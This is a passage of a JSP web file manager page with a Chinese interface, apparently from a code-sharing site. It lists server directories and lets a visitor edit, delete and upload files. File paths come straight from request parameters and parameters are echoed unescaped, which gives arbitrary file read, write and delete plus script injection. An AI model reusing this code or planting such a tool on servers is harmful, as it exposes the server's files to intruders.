📄 2.html
字号:
}else if(request.getParameter("act").equals("delFileDo"))
{
//删除操作
try{
String strFileDelFi=strDealPath+UnicodeToChinese(request.getParameter("file"));
File fileDelFi=new File(strFileDelFi);
if(fileDelFi.exists())
{
fileDelFi.delete();
response.sendRedirect(request.getRequestURI()+"?path="+strDealPath+"&act=show");
return;
}else{
strErr="要删除的文件不存在,请重新选择";
}
}catch(Exception e)
{
strErr="文件删除操作错误!";
}
}else if(request.getParameter("act").equals("uploadFile"))
{
strStat="uploadFile";
}else if(request.getParameter("act").equals("uploadFileDo"))
{
%>
<jsp:useBean id="mySmartUpload" scope="page" class="com.jspsmart.upload.SmartUpload" />
<%
//上传文件操作
mySmartUpload.initialize(pageContext);
mySmartUpload.setTotalMaxFileSize(1000000);
try {
mySmartUpload.upload();
mySmartUpload.save(strDealPath);
response.sendRedirect(request.getRequestURI()+"?path="+strDealPath+"&act=show");
return;
} catch (Exception e) {
strErr="文件上传出错,请检查是否超过1M 的文件大小限制!";
}
}
%>
<%
out.println(strStat);
%>
<HTML><HEAD><TITLE>Directory Listing For /</TITLE>
<META content="text/html; charset=utf-8" http-equiv=Content-Type>
<META content="MSHTML 5.00.2920.0" name=GENERATOR></HEAD>
<BODY bgColor=white>
<div align="center">
<table border=0 cellpadding=5 cellspacing=0 width="90%">
<tbody>
<tr>
<td align=left bgcolor=#000066 valign=bottom><font color=#ffffff face=宋体
size=4 Roman? New ,?times><b> 网站文件管理器</b></font></td>
<td align=right bgcolor=#000066 valign=bottom><font color=#ffffff face=宋体
size=4 Roman? New ,?times><b> <strong><%=request.getContextPath()%></strong></b></font></td>
</tr>
</tbody>
</table>
<table width="90%" border="0" cellspacing="0" cellpadding="5">
<tr>
<td><font size="2"><b>物理路径:</b><%=strDealPath%></font></td>
</tr>
</table>
<br>
<% if (strStat.equals("login")){%>
<table width="300" border="0" cellspacing="1" cellpadding="0" >
<tr>
<td height="200" valign="top" align="center">
<p align="center">
<table width="100%" border="0" cellspacing="1" cellpadding="5" bgcolor=#999999 class=a9px>
<tr>
<td bgcolor="#cccccc"><font size=+2>登录</font></td>
</tr>
<tr>
<td bgcolor="#FFFFFF" valign="top" align="center">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<form name=dataform method=post action='<%=request.getRequestURI()%>?act=login'>
<tr>
<td width="100"><b><font size="-1">登录名:</font></b></td>
<td>
<input maxlength=16
name="username" value="">
</td>
</tr>
<tr>
<td width="100"><b><font size="-1">密码:</font></b></td>
<td>
<input class=stedit maxlength=16
name="userpass" value="">
</td>
</tr>
</form>
</table>
<br>
<table border=0 cellpadding=0 cellspacing=0>
<tbody>
<tr>
<td>
<input name=update onClick="javascript:if (checkform()==false);" type=button value="登 录">
</td>
<td> </td>
<td> </td>
</tr>
</tbody>
</table>
<br>
</td>
</tr>
</table>
</td>
</tr>
</table>
<% //错误信息显示
}else if(strErr!=""){
%>
<table width="90%" border="0" cellspacing="0" cellpadding="5">
<tr>
<td><font size=+2><strong>操作错误</strong></font></td>
</tr>
</table>
<table align=center cellpadding=5 cellspacing=0 width="90%">
<form name=dataForm2
action="<%=request.getRequestURI()%>?path=<%=UnicodeToChinese(request.getParameter("path"))%>&fold=<%=UnicodeToChinese(reques
t.getParameter("fold"))%>&act=renameFoldDo" method="post">
<tbody>
<tr bgcolor=#cccccc>
<td align=left bgcolor="#cccccc"><strong><font size="-1">错误原因:</font></strong></td>
</tr>
<tr>
<td align=left><TT><font color="red"><%=strErr%></font></TT>
</td>
</tr>
<tr>
<td bgcolor=#cccccc align="center"><TT>[ <a href="javascript:history.go(-1);">返回操作</a> ]</TT> <tt>[ <a
href="<%=request.getRequestURI()%>?path=<%=UnicodeToChinese(request.getParameter("path"))%>&act=show">返回目录</a>
]<input type=hidden name="changeDo" value="false"></tt> </td>
</tr>
</tbody>
</form>
</table>
<%
}else if(strStat.equals("show")){
//正常显示页面
%>
<table width="90%" border="0" cellspacing="0" cellpadding="5">
<tr>
<td><font size=+2><strong>目录列表:</strong></font></td>
</tr>
</table>
<table align=center cellpadding=5 cellspacing=0 width="90%">
<tbody>
<tr bgcolor=#cccccc>
<td align=left><font size=+1><strong><font size="-1">名称</font></strong></font><TT>(单击进入相应目录)</TT></td>
<td align=center><font size=+1><strong><font size="-1">修改时间</font></strong></font></td>
<td align=center><b><font size="-1">重命名</font></b></td>
<td align=center><b><font size="-1">删除</font></b></td>
</tr>
<%
//显示表格行的初始颜色
String bgColor="";
//如果不是根目录,则显示一个回到上层目录的连接
if(!(strDealPath.equals(strSysPath))){%>
<tr bgcolor=<%=bgColor%>>
<td align=left > <tt><font color=#000066 face=WingDings
size=4>0</font><a title="单击进入上层目录"
href="<%=request.getRequestURI()%>?path=<%=(myFile.getParent())+"\\"%>&act=show">上层目录</a></tt></td>
<td align=right> </td>
<td align=center> </td>
<td align=center> </td>
</tr>
<% }
for(int i=0 ; i<fileArr.length ; i++){
//如果是文件夹则显示
if(fileArr[i].isDirectory()){
//颜色隔行变换
bgColor=bgColor.equals("#eeeeee") ? "" : "#eeeeee";
%>
<tr bgcolor=<%=bgColor%>>
<td align=left > <tt><FONT color=#000066 face=WingDings
size=4>0</FONT><a title="单击进入相应目录"
href="<%=request.getRequestURI()%>?path=<%=strDealPath+fileArr[i].getName()+"\\"%>&act=show"><%=fileArr[i].getName()%></a></t
t></td>
<td align=center><tt><%=(new Date(fileArr[i].lastModified()))%></tt></td>
<td align=center><TT><a
href="<%=request.getRequestURI()%>?path=<%=strDealPath%>&fold=<%=fileArr[i].getName()%>&act=renameFold">重命名</a></TT></td>
<form name="dataFormFold<%=i%>" method="post"
action="<%=request.getRequestURI()%>?path=<%=strDealPath%>&fold=<%=fileArr[i].getName()%>&act=delFoldDo"><td
align=center><TT><a href="javascript:if(confirm('确实要删除该文件夹,所有的内容将不能继续使用?
')){window.dataFormFold<%=i%>.submit();}">删除</a></TT></td></form>
</tr>
<% }
} %>
<tr align="center">
<td bgcolor=#cccccc colspan=4><TT>[ <a href="<%=request.getRequestURI()%>?path=<%=strDealPath%>&act=createF">新建文件夹
</a>
]</TT></td>
</tr>
</tbody>
</table>
<table width="90%" border="0" cellspacing="0" cellpadding="5">
<tr>
<td><font size=+2><strong>文件列表:</strong></font></td>
</tr>
</table>
<TABLE align=center cellPadding=5 cellSpacing=0 width="90%">
<TBODY>
<TR bgColor=#cccccc>
<TD align=left><FONT size=+1><STRONG><font size="-1">名称</font></STRONG></FONT><TT>(单击编辑相应文件)</TT></TD>
<TD align=center><FONT size=+1><strong><font size="-1">大小</font></strong></FONT></TD>
<TD align=center><FONT size=+1><STRONG><font size="-1">修改时间</font></STRONG></FONT></TD>
<TD align=center><b><font size="-1">重命名</font></b></TD>
<TD align=center><b><font size="-1">删除</font></b></TD>
</TR>
<%
bgColor="#eeeeee";
if(fileArr.length!=0){
for(int i=0 ; i<fileArr.length ; i++){
//如果是文件则显示
if(fileArr[i].isFile()){
bgColor=bgColor.equals("#eeeeee") ? "" : "#eeeeee";
%>
<TR bgColor=<%=bgColor%>>
<TD align=left > <TT><FONT color=#000066 face=WingDings
size=4>3</FONT><a title="单击编辑相应文件"
href="<%=request.getRequestURI()%>?path=<%=strDealPath%>&file=<%=fileArr[i].getName()%>&act=edit"><%=fileArr[i].getName()%></
a></TT></TD>
<TD align=center><TT><%=fileArr[i].length()%></TT></TD>
<TD align=center><TT><%=(new Date(fileArr[i].lastModified()))%></TT></TD>
<TD align=center><TT><a
href="<%=request.getRequestURI()%>?path=<%=strDealPath%>&file=<%=fileArr[i].getName()%>&act=renameFile">重命名</a></TT></TD>
<form name="dataFormFile<%=i%>" method="post"
action="<%=request.getRequestURI()%>?path=<%=strDealPath%>&file=<%=fileArr[i].getName()%>&act=delFileDo"><TD
align=center><TT><a href="javascript:if(confirm('确实要删除该文件,内容将不能继续使用?
')){window.dataFormFile<%=i%>.submit();}">删除</a></TT></TD></form>
</TR>
<% }
}
}else {%>
<TR>
<TD align=left > <TT>没有文件</TT></TD>
<TD align=right> </TD>
<TD align=right> </TD>
<TD align=center> </TD>
<TD align=center> </TD>
</TR>
<%}%>
<TR align="center">
<TD bgColor=#cccccc colSpan=5><TT>[ <a href="<%=request.getRequestURI()%>?path=<%=strDealPath%>&act=uploadFile">上传文
件</a> ]</TT></TD>
</TR>
</TBODY>
</TABLE>
<%
//正常显示状态结束
}else if(strStat.equals("edit")){
//文件编辑状态
BufferedReader bufReadIn=new BufferedReader(new
FileReader(UnicodeToChinese(request.getParameter("path"))+UnicodeToChinese(request.getParameter("file"))));
String strContext="";
String strReadLine="";
%>
<table width="90%" border="0" cellspacing="0" cellpadding="5">
<tr>
<td><font size=+2><strong>编辑文件:</strong></font></td>
</tr>
</table>
<table align=center cellpadding=5 cellspacing=0 width="90%">
<form name=dataForm
action="<%=request.getRequestURI()%>?path=<%=UnicodeToChinese(request.getParameter("path"))%>&file=<%=UnicodeToChinese(reques
t.getParameter("file"))%>&act=editDo" method="post">
<tbody>
<tr bgcolor=#cccccc>
<td align=left><font size=+1><strong><font size="-1">文件名称</font></strong></font><tt><font color=#000066
face=WingDings
size=4>3</font><%=(UnicodeToChinese(request.getParameter("path"))+UnicodeToChinese(request.getParameter("file")))%></tt></td>
</tr>
<tr>
<td align=center><textarea name="fileData" rows=18 cols=70 wrap=""OFF""><%
while((strReadLine=bufReadIn.readLine())!=null)
out.println(strReadLine);
bufReadIn.close();%></textarea></td>
</tr>
<tr>
<td bgcolor=#cccccc align="center">
<TT>[ <a href="javascript:window.dataForm.submit();">提交内容</a> ]</TT> <TT>[ <a
href="<%=request.getRequestURI()%>?path=<%=UnicodeToChinese(request.getParameter("path"))%>&act=show">返回目录</a> ]</TT>
</td>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -